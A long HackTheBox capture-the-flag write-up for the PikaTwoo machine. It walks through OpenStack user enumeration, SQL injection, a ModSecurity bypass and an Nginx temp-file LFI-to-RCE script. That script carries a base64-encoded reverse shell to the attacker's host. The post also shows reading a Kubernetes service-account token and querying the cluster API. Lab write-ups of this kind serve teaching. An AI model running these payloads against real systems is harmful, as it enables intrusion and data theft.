HackTheBox — PikaTwoo Writeup

Sasha Thomas
29 min readSep 15, 2023

Background & “Summary”

This past February, I spent multiple weeks on one HackTheBox machine that has since gained a reputation of being really, really difficult. After completing it, I can confidently confirm that this machine was, in fact, really really difficult. The few insane boxes I have completed have been huge projects, but PikaTwoo easily blows them out of the water. As difficult as it was, this box truly pushed my knowledge and my problem solving skills to the limit, and I learned so much from it. Even after spending weeks to complete it, PikaTwoo is still technically my best solve on HTB, as the 39th person to root it:

Normally, I like to give a summary of the box in this introduction section. However, there are just too many steps in this box for me to summarize it well. Here’s the TLDR:

  1. Do some hacking to get user
  2. Do some more hacking to get root

Lastly, this writeup is super long. Feel free to skim or focus on specific parts!

Enumeration

For anyone who has done HackTheBox before, the results of our first Nmap scan are enough to prove that this is not a “regular” Linux machine:

sudo nmap 10.10.11.199 -p- -vv
PORT     STATE SERVICE    REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
443/tcp open https syn-ack ttl 63
4369/tcp open epmd syn-ack ttl 63
5000/tcp open upnp syn-ack ttl 63
5672/tcp open amqp syn-ack ttl 63
8080/tcp open http-proxy syn-ack ttl 63
35357/tcp open http syn-ack ttl 63

In total, we have 5 web services (tcp/80, tcp/443, tcp/5000, tcp/8080, tcp/35357), RabbitMQ (tcp/5672), Erlang Port Mapper Daemon (tcp/4782), and SSH (tcp/22).

Both RabbitMQ and EPMD are worth exploring, and I did look into them when I first started the box. To save time, let’s just look at the web services first.

sudo nmap -sC -sV 10.10.11.199 -p 80,443,5000,8080 -vv
80/tcp   open  http     syn-ack ttl 63 nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-cors: HEAD GET POST PUT DELETE PATCH
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Pikaboo
443/tcp open ssl/http syn-ack ttl 63 nginx 1.18.0
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| ssl-cert: Subject: commonName=api.pokatmon-app.htb/organizationName=Pokatmon Ltd/stateOrProvinceName=United Kingdom/countryName=UK
| Issuer: commonName=api.pokatmon-app.htb/organizationName=Pokatmon Ltd/stateOrProvinceName=United Kingdom/countryName=UK
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-12-29T20:33:08
| Not valid after: 3021-05-01T20:33:08
|_http-server-header: APISIX/2.10.1
5000/tcp open rtsp syn-ack ttl 63
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 NOT FOUND
| Content-Type: text/html; charset=utf-8
| Vary: X-Auth-Token
| x-openstack-request-id: req-5eea171d-aeb0-4c6f-b29d-4a093115e58a
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GetRequest:
| HTTP/1.0 300 MULTIPLE CHOICES
| Content-Type: application/json
| Location: http://pikatwoo.pokatmon.htb:5000/v3/
| Vary: X-Auth-Token
| x-openstack-request-id: req-276e1c6a-b3c2-4b3a-851a-8617f9e8dc6a
| {"versions": {"values": [{"id": "v3.14", "status": "stable", "updated": "2020-04-07T00:00:00Z", "links": [{"rel": "self", "href": "http://pikatwoo.pokatmon.htb:5000/v3/"}], "media-types": [{"base": "application/json", "type": "application/vnd.openstack.identity-v3+json"}]}]}}
| RTSPRequest:
| RTSP/1.0 200 OK
| Content-Type: text/html; charset=utf-8
| Allow: GET, HEAD, OPTIONS
| Vary: X-Auth-Token
| x-openstack-request-id: req-de1525eb-b3a8-4d28-81ae-d230e4cd42f5
| SIPOptions:
|_ SIP/2.0 200 OK
|_rtsp-methods: ERROR: Script execution failed (use -d to debug)
8080/tcp open http syn-ack ttl 63 nginx 1.18.0
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: nginx/1.18.0

There is a lot to parse here, so we should look at these services individually.

Port 80

Navigating to 10.10.11.199 in a browser, we can see this is the main website of the box, with a bunch of cute parodies of Pokemon:

We can run a Gobuster scan with raft-small-words.txt and see if it finds anything interesting:

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -u http://10.10.11.199/
/login                (Status: 200) [Size: 3340]
/images (Status: 301) [Size: 179] [--> /images/]
/CHANGELOG (Status: 200) [Size: 292]
/docs (Status: 301) [Size: 175] [--> /docs/]
/Login (Status: 200) [Size: 3340]
/. (Status: 301) [Size: 169] [--> /./]
/welcome (Status: 302) [Size: 28] [--> /login]
/forgot (Status: 200) [Size: 2371]
/Docs (Status: 301) [Size: 175] [--> /Docs/]
/artwork (Status: 301) [Size: 181] [--> /artwork/]
/Welcome (Status: 302) [Size: 28] [--> /login]
/DOCS (Status: 301) [Size: 175] [--> /DOCS/]
/LogIn (Status: 200) [Size: 3340]
/LOGIN (Status: 200) [Size: 3340]
/Forgot (Status: 200) [Size: 2371]
/password-reset (Status: 403) [Size: 21]

We find a login page:

/docs redirects us to /login, so likely we will need creds first before we can get documentation. There also seems to be a forgot password service at /forgot:

Each of these are worth looking into further, and I spent a lot of time with them when I was doing the box. One of the hardest parts of this machine is the sheer amount of enumeration you have to do. It’s easy to get lost in any of these pages or services. For now, we should take note of these pages and look at the last interesting thing Gobuster found: /CHANGELOG. Navigating to /CHANGELOG results in our browser downloading a text file:

This file is very intentional, and hints at three major steps of the box!

Port 443

The output of the Nmap scan gives us some good information:

_http-server-header: APISIX/2.10.1

commonName=api.pokatmon-app.htb

First, we get a nice server header that tells us the service on port 443 is APISIX version 2.10.1. APISIX is an API gateway developed by Apache. We also get a potential subdomain, so we should append it to our hosts file:

echo '10.10.11.199 api.pokatmon-app.htb' | sudo tee -a /etc/hosts

After navigating to https://api.pokatmon-app.htb, we are met with a 404. Let’s try running Gobuster again:

/private              (Status: 403) [Size: 38]
/_private (Status: 403) [Size: 38]
/private2 (Status: 403) [Size: 38]
/download_private (Status: 403) [Size: 38]
/privatemsg (Status: 403) [Size: 38]
/privateassets (Status: 403) [Size: 38]
/privatemessages (Status: 403) [Size: 38]
/privatedir (Status: 403) [Size: 38]

From this output, we can assume the API is configured to return 403 if the URL contains the string private.

Port 5000

Based on the Nmap scan, we get some more good pieces of information. First, we get a new subdomain:

Location: http://pikatwoo.pokatmon.htb:5000/v3/

Second, we can also identify the service running based on some strings:

x-openstack-request-id: req-276e1c6a-b3c2-4b3a-851a-8617f9e8dc6a

{"versions": {"values": [{"id": "v3.14", "status": "stable", "updated": "2020-04-07T00:00:00Z", "links": [{"rel": "self", "href": "http://pikatwoo.pokatmon.htb:5000/v3/"}], "media-types": [{"base": "application/json", "type": "application/vnd.openstack.identity-v3+json"}]}]}}

From this, it’s likely that we are working with Openstack. This box was the first time I had encountered Openstack.

Openstack is an open source cloud computing platform that allows users to build their open cloud platforms. It is an IaaS (Infrastructure as a Service) platform. Openstack has nine major services:

  • Nova (compute)
  • Neutron (networking)
  • Swift (object storage)
  • Cinder (block storage)
  • Keystone (identity service)
  • Glance (image service)
  • Horizon (dashboard)
  • Ceilometer (telemetry)
  • Heat (orchestration)

While going through the box, I was pretty lost trying to enumerate port 5000 and port 8080 (the two Openstack services). In retrospect, I should have spent more time with the Openstack documentation, and tried to fingerprint the services before enumerating them manually.

With some easy Googling, we can make the assumption that the service on Port 5000 is Openstack Keystone, the identity service provided by Openstack:

https://docs.openstack.org/mitaka/config-reference/firewalls-default-ports.html

Keystone provides authentication and authorization for the other services implemented by Openstack. Because Keystone is open source, we shouldn’t have to worry too much about fuzzing — we should read through the documentation instead (I spent way too much time trying to fuzz this service. All the answers were in the documentation).

Port 8080

Unfortunately, the table above doesn’t give us any hints about the service on port 8080. Nmap unfortunately doesn’t tell us much either, besides that this is Nginx. Let’s fuzz subdirectories again:

[Status: 200, Size: 1563, Words: 109, Lines: 1, Duration: 100ms]
* FUZZ: info

Based on this, we can conclude that the service on port 8080 is Swift, Openstack’s object storage.

Keystone

The next step was one of the hardest parts of the box for me. Even though the answer is simply to abuse a CVE, it’s hard to make that assumption when there is so much in front of you. I was led in this direction while trying to brute force authentication to the Keystone API. I noticed that when I provided the username “admin,” I would get locked out of the account after a certain number of guesses. After googling the error message, I found this CVE:

https://nvd.nist.gov/vuln/detail/CVE-2021-38155

This was funny to me, because I did this first step backwards. Usually you find the CVE, and then try the exploit it. I performed the exploit by accident, and then found the CVE!

We can abuse this to perform the first real step of the box: enumerate Openstack users.

To do this, we can write a quick Python script. All it needs to do is send a number of API login requests in quick succession, then observe whether that user has been locked out after. The script I wrote looks like this:

import requests
import re
import sys

url = "http://pokatmon.htb:8080/v3/auth/tokens/"

data = '''
{ "auth": {
"identity": {
"methods": ["password"],
"password": {
"user": {
"name": "%USERNAME%",
"domain": { "id": "default" },
"password": "password"
}
}
}
}
}
'''

headers = {
"Content-Type": "application/vnd.openstack.identity-v3+json"
}

def lockout(data):
requests.post(url=url, data=data, headers=headers)
requests.post(url=url, data=data, headers=headers)
requests.post(url=url, data=data, headers=headers)
requests.post(url=url, data=data, headers=headers)
requests.post(url=url, data=data, headers=headers)

def check_uuid(data, name):
x = requests.post(url=url, data=data, headers=headers)
if re.search("locked", x.text):
print(x.text)
print(name)
print("-------------")

with open(sys.argv[1], encoding="ISO-8859-1") as wordlist:
for username in wordlist:
print("Trying: " + username + "...")
temp = data.replace("%USERNAME%", username.strip())
lockout(temp)
check_uuid(temp, username)

After running this for a while using the names.txt wordlist in SecLists, we get two hits:

admin
andrew

Swift

Great! We have a valid user andrew… but what can we do with just the username? I was also stuck here for a long time. I looked into the main website’s login with this user, as well as the password reset, but that was a dead end. The next thing I looked into was Swift. In retrospect, I should have looked into Swift first, because while I didn’t know for sure whether andrew was a user of the website, I did know for sure it was an Openstack user.

Unfortunately, without andrew‘s password, there isn’t much we can do. But, maybe there is something we can access with only knowledge of a username? This reminded me of something I had seen with AWS. A bucket can be misconfigured and grant list/read/write access to unauthenticated users. Maybe a similar thing was going on.

Eventually, I found this Stack overflow post which pointed me in the right direction:

https://stackoverflow.com/questions/65356000/get-openstack-public-url-of-an-object

I thought that since I know the name of the account, maybe it was possible to guess the name of the container. According to Openstack Swift documentation, the /v1/{account}/{container} endpoint exists to list contents of the container:

However, running ffuf on: /v1/andrew/FUZZ did not work. Back to the drawing board?

After doing so more research, I came across this post from 2010 about public containers:

https://answers.launchpad.net/swift/+question/130624

I noticed that in order to download an object with no auth token, they replaced {account} with AUTH_{account}. Let’s rerun our fuzzer against /v1/AUTH_andrew/FUZZ:

[Status: 200, Size: 17, Words: 1, Lines: 2, Duration: 750ms]
* FUZZ: android

And we get a hit!

Navigating to this page, we get a juicy result:

This looks like the “PokatMon Android App” mentioned in the changelog!

Android App Hacking

At this point, the box has you completely shift gears from web app to mobile. I spent a lot of time at this step setting up an Android emulator, which was frustrating because I ran into a bunch of errors. Eventually, I got the app running using Genymotion as an Android emulator:

Great! It looks like the app expects an email and an invite code. At this point, we should decompile the apk and see if we can find hints or hard coded credentials inside. I used apktool to do this:

While exploring the app, I stumbled across assets/flutter_assets/keys, which contained a public and private key:

This is suspicious, so we should take note of it. Based on the names of the files and directories, we can see the app is written in Flutter. I thought there might be a way to reverse engineer the source code of the app, but reverse engineering Flutter apps proved difficult. The main code consists of libflutter.so and libapp.so:

However, opening libapp.so in Ghidra was unhelpful, because all I could see was a wall of hex data. Looking more into it, specialized tools do exist to help reverse engineer Flutter apps, such as Doldrums, but I ran into issues with it and was never able to get source code. Eventually, I gave up with reverse engineering the app, and decided to perform more dynamic analysis.

If we enter any email and code to the app, it seems like the app makes a request somewhere, but it gets denied:

With this in mind, my next goal while doing the box was to capture this request and see what information is being sent. This ended up being more difficult than I thought it would be, first because the traffic was coming from an app, rather than a browser, and also because that traffic was sent over HTTPS.

I tried a bunch of different methods to decrypt the SSL traffic from the app, but none worked until I found a tool called HTTPToolKit. The setup for HTTPToolKit was AMAZING: It will automatically detect the Android emulator and configure the VM to tunnel its traffic to HTTPToolKit with just one click.

To use HTTPToolKit, we select the option above in the main menu. Afterwards, we will see a new screen open in the Android VM:

And that’s it!

Now, when the app makes a request, we can see it in the HTTPToolKit menu:

Signature Forging

With knowledge of the request the app is sending, let’s recreate it in Burp Suite and play around with it.

It’s clear that the app is trying to sign each request with a signature in the HTTP headers, based on the “invalid signature” error. We won’t be able to send stuff to the endpoint until we figure out how the signature is made. While doing the box, I was lucky in that one of my first ideas ended up being correct. I had a feeling the signature might be related to the public and private keys we found in the app. After playing around with the keys in Cyber Chef, I eventually found it:

The “invalid code” error means that our form data and signature was accepted by application.

Great! Now we can start poking at this endpoint.

SQL Injection

To help fuzz this, I create a Python script to automatically generate the signatures:

import base64
from Crypto.Hash import SHA256
from Crypto.Signature import PKCS1_v1_5
from Crypto.PublicKey import RSA
import requests
import re
import urllib3
import sys

urllib3.disable_warnings()

url = "https://api.pokatmon-app.htb/public/validate"
data = "app_beta_mailaddr=email@email.com&app_beta_code="

def createSignature(payload):
digest = SHA256.new()
digest.update(payload.encode('utf-8'))
with open ("private_key.pem", "r") as myfile:
private_key = RSA.importKey(myfile.read())
signer = PKCS1_v1_5.new(private_key)
sig = signer.sign(digest)
return base64.b64encode(sig).decode("utf-8")

def validate(app_code):
temp = data + app_code
signature = "signature=" + createSignature(temp)
headers = {
"Content-Type":"application/x-www-form-urlencoded; charset=utf-8",
"authorization":signature
}
req = requests.post(url, data=temp, headers=headers, verify=False)
print("Code: " + app_code + " response: " + req.text)


validate(sys.argv[1])

I then started fuzzing it using this bash script:

#!/bin/bash

while read line; do
python3 sendcode.py $line
done < $1

While the script was running, I noticed that I started seeing errors when the payload contained ' :

This being classic SQL injection behavior, I started manually sending SQLi payloads to investigate. A very basic payload will get the job done:

Sending ' or 1=1-- - seems to give us a user and an access code.

Password Reset Abuse

The next step was one of the hardest parts of the box for me. I had already done so much work, and I still felt like I was miles away from getting onto the box. (Spoiler: I was right. We are only half way to user!). It was challenging to keep hammering away at it, especially because I was pretty lost as to where to go.

We could try to enumerate what else is in the database using SQLi, which I ended up doing by hand. Unfortunately, the access code and email are the only things in the database.

Because this was supposed to be an email for a user of the actual pikatwoo application, I eventually shifted my focus back to the main website. Knowledge of an email gives us a couple options, such as brute forcing their password, but what stuck out to me was the password reset service. Unfortunately, the service at /forgot seemed broken, as hitting the “submit” button makes an empty GET request to /forgot?.

However, Gobuster was also able to identify an endpoint at /password-reset. This endpoint does seem functional:

Next, if we provide roger.foster37@freemail.htb as a URL parameter, we are able to leak a token:

Great! Now we need to figure out how to use the token.

Making a POST request to the same endpoint results in an error that mentions the token:

After some basic fuzzing of URL parameters and body content, I eventually found this to work:

Password changed! But, password changed to what…?

It seemed like if you provided an email and a valid token to this endpoint, it would always respond with password changed. At first, I tried just adding a new password key to the JSON body like this:

To my surprise, this did not work!

For a second, I thought maybe this endpoint didn’t work either and I had spent time on a rabbit hole. But one last idea came to mind — maybe the password key isn’t valid? For example, maybe the application expects new-password instead. After trying some options, I found that new_password worked:

{
"email":"roger.foster37@freemail.htb",
"new_password":"password123"
}

And with that, I was able to log into the application and was redirected to swagger docs!

PHP File Inclusion (Part 1)

Based on swagger, we have a new subdomain to add at pokatdex-api-v1.pokatmon-app.htb, so let’s add it to /etc/hosts.

Next, we can try one of the API endpoints. The most interesting endpoint to me was /, as there was a URL parameter allowing us to specify a region:

Attempting any other value besides a region gives us an interesting error:

{"error": "unknown region", "debug": "false"}

Specifically, the debug setting. Can we turn it on?

It seems like we can turn the setting on by specifying debug=true in the URL, and we get another very interesting error. It looks like the application is attempting to a file called regions/1 using a PHP include. This is very often vulnerable to directory traversal, so let’s try to escape the regions directory using a series of ../ :

This time, we get a completely different error, one that I definitely was not expecting. A 403 error?

ModSecurity WAF Bypass

If you remember, long ago, we found a file called CHANGELOG, which mentioned that ModSecurity was implemented in the newst version of the application. With some more testing of the behavior of the application, we can observe that sending malicious input such as /etc/passwd or anything with ../‘s results in a 403. Very likely, we are getting blocked by the WAF. In order to exploit the PHP file inclusion, we will need to find a way to bypass ModSecurity.

For me, this exploit was the hardest part of the box. Not only did I struggle to pull off the exploit correctly for two days, but I also struggled to even identify the right exploit. I found this part so challenging because I had no idea what version of ModSecurity I was working with. My methodology was just to research as many bypasses and CVE’s as I could and try as many as possible.

Fortunately, a simple Google search such as “modsecurity waf bypass cve” has the right answer on the first page, so one of the first CVE’s I found led me down the right path: CVE-2021–35368

Core Ruleset published a really nice article about this vulnerability which I followed to understand the exploit. The idea behind the exploit is that the ModSecurity Core Rule Set (CRS) at the time turned off request body checking when requests to some specific paths were made. These paths were related to Drupal applications that might contain large files in the body. These large files could potentially contain words that would get caught by ModSecurity and blocked. However, these exclusion rules break if the attacker can control the path of the application.

Interestingly, in the Pikatwoo application, if we include the region as content in the body, we can make a request to ANY endpoint using a POST request, and still get the same behavior as if we made a GET request:

This was a big hint that the WAF bypass would work!

After some research, I found a vulnerable version of the CRS here. Navigating to the Drupal Exclusion rule set, we can find the vulnerable rule:

SecRule REQUEST_METHOD "@streq POST" \
"id:'9001180',\
phase:1,\
t:none,\
pass,\
nolog,\
noauditlog,\
chain"
SecRule REQUEST_FILENAME "@rx /admin/content/assets/add/[a-z]+$" \
chain
SecRule REQUEST_COOKIES:/S?SESS[a-f0-9]+/ "^[a-zA-Z0-9_-]+" \
ctl:requestBodyAccess=Off

Reading through this, we can see exactly the behavior the CVE talks about. If we make a POST request to an endpoint that matches:

/admin/content/assets/add/[a-z]+$

And, we add cookies to the request that match:

REQUEST_COOKIES:/S?SESS[a-f0-9]+/ "^[a-zA-Z0-9_-]+

ModSecurity will turn off requestBodyAccess. Let’s try it:

And FINALLY we get LFI!

PHP File Inclusion (Part 2)

Now that we have LFI, we can begin to enumerate the files on the “box.” In these situations, I like to leak source code, look at config files, or look inside user’s home directories if we have access to them. Unfortunately, enumerating contents of files is not the way forward. We will need to abuse this LFI to get RCE.

There are a number of ways to upgrade LFI to RCE. Most of them revolve around including a file that we have control of. If we can control the content of a file, we can place PHP inside of it, and when it gets included via the LFI, the PHP will execute. A really classic example of this is log poisoning. If an attacker can send a request with PHP that gets logged, they can potentially execute the PHP by including the log file with LFI.

Unfortunately, these methods won’t work with PikaTwoo. The way forward is to abuse an exploit I had never seen before this box: Nginx temp files.

This caught my eye in HackTricks because it describes our exact setup:

From HackTricks:

Nginx offers an easily-overlooked client body buffering feature which will write temporary files if the client body (not limited to post) is bigger than a certain threshold.

This feature allows LFIs to be exploited without any other way of creating files, if Nginx runs as the same user as PHP (very commonly done as www-data).

This vulnerability exists due to a race condition, whereby an attacker can access the temp file that contains the client body by obtaining a reference to it through procfs.

HackTricks provides a really nice Python script to abuse this. However, we will need to modify it slightly in order to bypass the WAF:

#!/usr/bin/env python3

import sys, threading, requests

# exploit PHP local file inclusion(LFI) via nginx 's client body buffering assistance#
#see https: //bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details

URL = f'http://{sys.argv[1]}/admin/content/assets/add/new' # ModSec WAF Bypass

headers = {
"Cookie": "SESSabdef=123345678", # ModSec WAF Bypass
"Content-Type": "application/x-www-form-urlencoded"
}

data = "debug=true&region=../../../.." # pikatwoo data

#find nginx worker processes

temp = data + '/proc/cpuinfo'
r = requests.post(URL, headers = headers, data = temp)

cpus = r.text.count('processor')

temp = data + '/proc/sys/kernel/pid_max'
r = requests.post(URL, headers = headers, data = temp)

pid_max = int(r.text)

print(f'[*] cpus: {cpus}; pid_max: {pid_max}')

nginx_workers = []
for pid in range(pid_max):
temp = data + f'/proc/{pid}/cmdline'
r = requests.post(URL, headers = headers, data = temp)

if b'nginx: worker process' in r.content:
print(f'[*] nginx worker found: {pid}')

nginx_workers.append(pid)

if len(nginx_workers) >= cpus:
break

done = False

# upload a big client body to force nginx to create a /var / lib / nginx / body / $X

def uploader():
print('[+] starting uploader')
while not done:
# Reverse shell
temp = '<?php system(\'echo cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjQiLDQ0NDQpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7aW1wb3J0IHB0eTsgcHR5LnNwYXduKCIvYmluL3NoIikn| base64 -d | bash\'); ?>/*' + 14 * 1024 * 'A'
requests.post(URL, data = temp, headers = headers)

for _ in range(16):
t = threading.Thread(target = uploader)
t.start()

# brute force nginx 's fds to include body files via procfs#
#use.. / .. / to bypass include 's readlink / stat problems with resolving fds to `/var/lib/nginx/body/0000001150 (deleted)`
def bruter(pid):
global done

while not done:
print(f'[+] brute loop restarted: {pid}')
for fd in range(4, 32):
temp = data + f'/proc/self/fd/{pid}/../../../{pid}/fd/{fd}'


r = requests.post(URL, headers = headers, data = temp)
if not "unknown region" in r.text:
if not "debug" in r.text:
if not "500" in r.text:
output = r.text.replace("a","")
print(f'[!]: {output}')

for pid in nginx_workers:
a = threading.Thread(target = bruter, args = (pid, ))
a.start()

Our reverse shell is base64 encoded and placed inside of a system call. After running the exploit, we receive a shell back on our listener as www!

Container Enumeration

After upgrading our shell, the hostname of the box is a good indication we are in a container:

I explored container escape techniques at this point, but after an hour or two of trying, I decided to look elsewhere. Considering we are in a container for the Pokatdex API, its not unreasonable to think that other containers might exist for the different services on the box. In order to enumerate those, we will need to scan the container subnet and see what other IPs exist. To do this, I found an Nmap static binary and ran it on the container.

To get the subnet, we just need to find the IP address of the current container:

./nmap 10.244.0.0/24 1-20000 -vv
Nmap scan report for 10.244.0.1
Host is up, received conn-refused (0.00049s latency).
Scanned at 2023-09-13 01:47:00 UTC for 25s
Not shown: 9998 closed ports
Reason: 9998 conn-refused
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
8443/tcp open unknown syn-ack

Nmap scan report for 10-244-0-2.apisix-admin.applications.svc.cluster.local (10.244.0.2)
Host is up, received conn-refused (0.00023s latency).
Scanned at 2023-09-13 01:47:00 UTC for 25s
Not shown: 9999 closed ports
Reason: 9999 conn-refused
PORT STATE SERVICE REASON
9080/tcp open unknown syn-ack

Nmap scan report for 10-244-0-3.apisix-private-api.applications.svc.cluster.local (10.244.0.3)
Host is up, received conn-refused (0.00079s latency).
Scanned at 2023-09-13 01:47:00 UTC for 23s
Not shown: 9999 closed ports
Reason: 9999 conn-refused
PORT STATE SERVICE REASON
8888/tcp open unknown syn-ack

Nmap scan report for 10-244-0-4.swift.applications.svc.cluster.local (10.244.0.4)
Host is up, received conn-refused (0.00066s latency).
Scanned at 2023-09-13 01:47:00 UTC for 23s
Not shown: 9996 closed ports
Reason: 9996 conn-refused
PORT STATE SERVICE REASON
6010/tcp open unknown syn-ack
6011/tcp open unknown syn-ack
6012/tcp open unknown syn-ack
8080/tcp open http-alt syn-ack

Nmap scan report for coredns-565d847f94-9p6kf (10.244.0.5)
Host is up, received conn-refused (0.00084s latency).
Scanned at 2023-09-13 01:47:00 UTC for 46s
Not shown: 9996 closed ports
Reason: 9996 conn-refused
PORT STATE SERVICE REASON
53/tcp open domain syn-ack
8080/tcp open http-alt syn-ack
8181/tcp open unknown syn-ack
9153/tcp open unknown syn-ack

Nmap scan report for 10-244-0-6.apisix-public-api.applications.svc.cluster.local (10.244.0.6)
Host is up, received conn-refused (0.00074s latency).
Scanned at 2023-09-13 01:47:00 UTC for 46s
Not shown: 9999 closed ports
Reason: 9999 conn-refused
PORT STATE SERVICE REASON
8888/tcp open unknown syn-ack

Nmap scan report for 10-244-0-7.apisix-etcd.applications.svc.cluster.local (10.244.0.7)
Host is up, received conn-refused (0.00020s latency).
Scanned at 2023-09-13 01:47:00 UTC for 48s
Not shown: 9998 closed ports
Reason: 9998 conn-refused
PORT STATE SERVICE REASON
2379/tcp filtered unknown no-response
2380/tcp filtered unknown no-response

Nmap scan report for pokatdex-api-75b7bd96f7-2xkxk (10.244.0.8)
Host is up, received syn-ack (0.00062s latency).
Scanned at 2023-09-13 01:47:00 UTC for 46s
Not shown: 9999 closed ports
Reason: 9999 conn-refused
PORT STATE SERVICE REASON
80/tcp open http syn-ack

I found the reports for 10.244.0.2,10.244.0.3, 10.244.0.6 and 10.244.0.7 interesting because it looked like these were for the Apache APISIX service. But I had no idea what these ports were for. Looking into these, I found that ports 2380 and 2379 were used for etcd, which APISIX uses instead of a relational database like MySQL. Port 9080 is used for Admin functions, which explains the DNS name.

While researching, I stumbled onto an APISIX CVE:

Kavi provides a good summary of the CVE:

This was interesting to me, because even if the X-Real-IP patch was applied, we might be able to get around this by calling the admin API from the container. Unfortunately, the default admin API token doesn’t work:

Even though this was a dead end without the Admin API key, it was the first thing I looked into and ended up being very helpful.

Exposing Kubernetes Secrets

At this point, I knew the container was created with Kubernetes, and during my research I found a really nice series of articles on pentesting Kubernetes from Cyberark:

They mention using a JWT located at /run/secrets/kubernetes.io/serviceaccount/token:

https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-3

Which we can find at the same location:

After saving the JWT and sending the following request from the article:

curl -v -H "Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6IjAtelk2WTBKaFgwY3g0b3hxbVF6OWg5blJmNkVOS0xiNFhkNklqN2ZybGcifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNzI2MTA2NTc0LCJpYXQiOjE2OTQ1NzA1NzQsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJhcHBsaWNhdGlvbnMiLCJwb2QiOnsibmFtZSI6InBva2F0ZGV4LWFwaS03NWI3YmQ5NmY3LTJ4a3hrIiwidWlkIjoiOGI3MGY1YjItODE1OC00NDg5LTk0NGUtMDA2ZTM1Yzc2ZDkzIn0sInNlcnZpY2VhY2NvdW50Ijp7Im5hbWUiOiJkZWZhdWx0IiwidWlkIjoiMTRmN2QyM2MtZDlmZi00OGE1LTg1MmItODAyZTdjZmVjZDkzIn0sIndhcm5hZnRlciI6MTY5NDU3NDE4MX0sIm5iZiI6MTY5NDU3MDU3NCwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmFwcGxpY2F0aW9uczpkZWZhdWx0In0.ZFjj_dWTwyHxw6yzXvYUe4x0sJC2cxtCmpYcnS0CKFiUf4g9VDHWuhyoNGZa0Q42xl6NO-GaZVdHvXBiMNQZT_nOg09HDPHv12ks1_q36z062FNL874Mtux2J1SH2N4CMEZSMfF9hoW1AVgK2yveAorB7Oq6GHXkqVe1RZZ6lIqoOkNrtwfLT6BYrJBeF0wbaoFSLkIq4JMi9WAZM_zbFcP6NxI2k25Wt8uOEZaQ0FIIguJo6AWx_LHx4KI9NaxY58QCC5l3UHykEWblPobT1CiRT4umyAMv-sbpTW_8iCCAxVs2I6wKfq3wQwDFUEin-TDGggkBSdi6Zv38zRu2CQ" https://kubernetes.default.svc/api/v1/namespaces/default/pods/ -k

We get this response:

{
"kind": "Status",
"apiVersion": "v1",
"metadata": {},
"status": "Failure",
"message": "pods is forbidden: User \"system:serviceaccount:applications:default\" cannot list resource \"pods\" in API group \"\" in the namespace \"default\"",
"reason": "Forbidden",
"details": {
"kind": "pods"
},
"code": 403
}

The request fails because we don’t have access to the default namespace, but it looks like the JWT worked. What if we try the applications namespace instead? (which we know from system:serviceaccount:applications)

{
"kind": "Status",
"apiVersion": "v1",
"metadata": {},
"status": "Failure",
"message": "pods is forbidden: User \"system:serviceaccount:applications:default\" cannot list resource \"pods\" in API group \"\" in the namespace \"applications\"",
"reason": "Forbidden",
"details": {
"kind": "pods"
},
"code": 403
}

This too fails. The article from Cyberark mentions some other endpoints besides /pods, such as /secrets. We should try that:

